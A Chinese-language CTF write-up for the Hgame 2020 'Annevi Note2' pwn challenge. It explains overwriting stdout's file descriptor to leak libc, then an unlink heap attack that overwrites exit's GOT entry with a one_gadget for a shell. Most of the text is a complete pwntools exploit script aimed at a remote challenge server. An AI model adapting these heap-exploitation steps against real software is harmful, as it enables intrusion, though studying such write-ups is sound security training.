Hgame2020_Week3_Pwn_Annevi_Note2

Do you know the IO_FILE?

第一题差不多

区别是init函数:

1
2
3
4
5
6
int init()
{
puts("Annevi!The eternal God!");
puts("Welcome to Annevi's note2");
return close(1);
}

这里close(1)之后,由于文件描述符1被关闭就没有输出了。可以通过修改stdout->_fileno为2,使用stderr来进行输出,则可以使得程序和第一题一摸一样。

1
sh.recvuntil("note2\n")
sh.sendline("4")
sh.sendline(str(-8))
sh.sendline(p64(0xfbad1887)+p64(0)*13+p64(2))

之后利用stdout来leak,再构造unlink,修改exit的got表为onegadget,执行exit获取shell。

获取shell后执行命令提示

ls: write error: Bad file descriptor

可以使用 sh 1>&2 重定向来解决

EXP:

1
#coding=UTF-8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
one=[0x45216,0x4526a,0xf02a4,0xf1147]
debug = 0
if debug:
	sh = process("/media/psf/Home/Downloads/AN2")
else:
	sh=remote("47.103.214.163",20701)
def D():
	cmd='''
	'''
	gdb.attach(sh,cmd)
#libcbase=0x7f6a388bf000+puts-0x7f6a3892e690
#libcbase=mainarena-0x3c4b20
def add(size,content):
	sh.recvuntil(":")
	sh.sendline("1")
	sh.recvuntil("size?\n")
	sh.sendline(str(size))
	sh.recvuntil("content:")
	sh.sendline(content)
def delete(idx):
	sh.recvuntil(":")
	sh.sendline("2")
	sh.recvuntil("index?\n")
	sh.sendline(str(idx))
def show(idx):
	sh.recvuntil(":")
	sh.sendline("3")
	sh.recvuntil("index?\n")
	sh.sendline(str(idx))
def edit(idx,content):
	sh.recvuntil(":")
	sh.sendline("4")
	sh.recvuntil("index?\n")
	sh.sendline(str(idx))
	sh.recvuntil("content:")
	sh.sendline(content)
lis=0x0000000006020E0
sh.recvuntil("note2\n")
sh.sendline("4")
sh.sendline(str(-8))
sh.sendline(p64(0xfbad1887)+p64(0)*13+p64(2))
edit(-8,p64(0xfbad1887)+p64(0)*3+'\x08')
sh.recvuntil(p64(0xfbad1887)+p64(0)*3)
leak=u64(sh.recv(8))
libcbase=leak-0x7fb45c86f608+0x7fb45c4aa000
log.success("libcbase : "+hex(libcbase))
add(0x90,'\x00')
add(0x90,'\x01')
add(0x90,'\x02')
edit(0,p64(0)+p64(0x91)+p64(lis-0x18)+p64(lis-0x10)+p64(0)*14+p64(0x90)+p64(0xa0))
delete(1)
edit(0,p64(0)*3+p64(0x602078))
edit(0,p64(libcbase+one[3]))
sh.recvuntil(":")
sh.sendline("5")
sh.interactive()
文章目录
|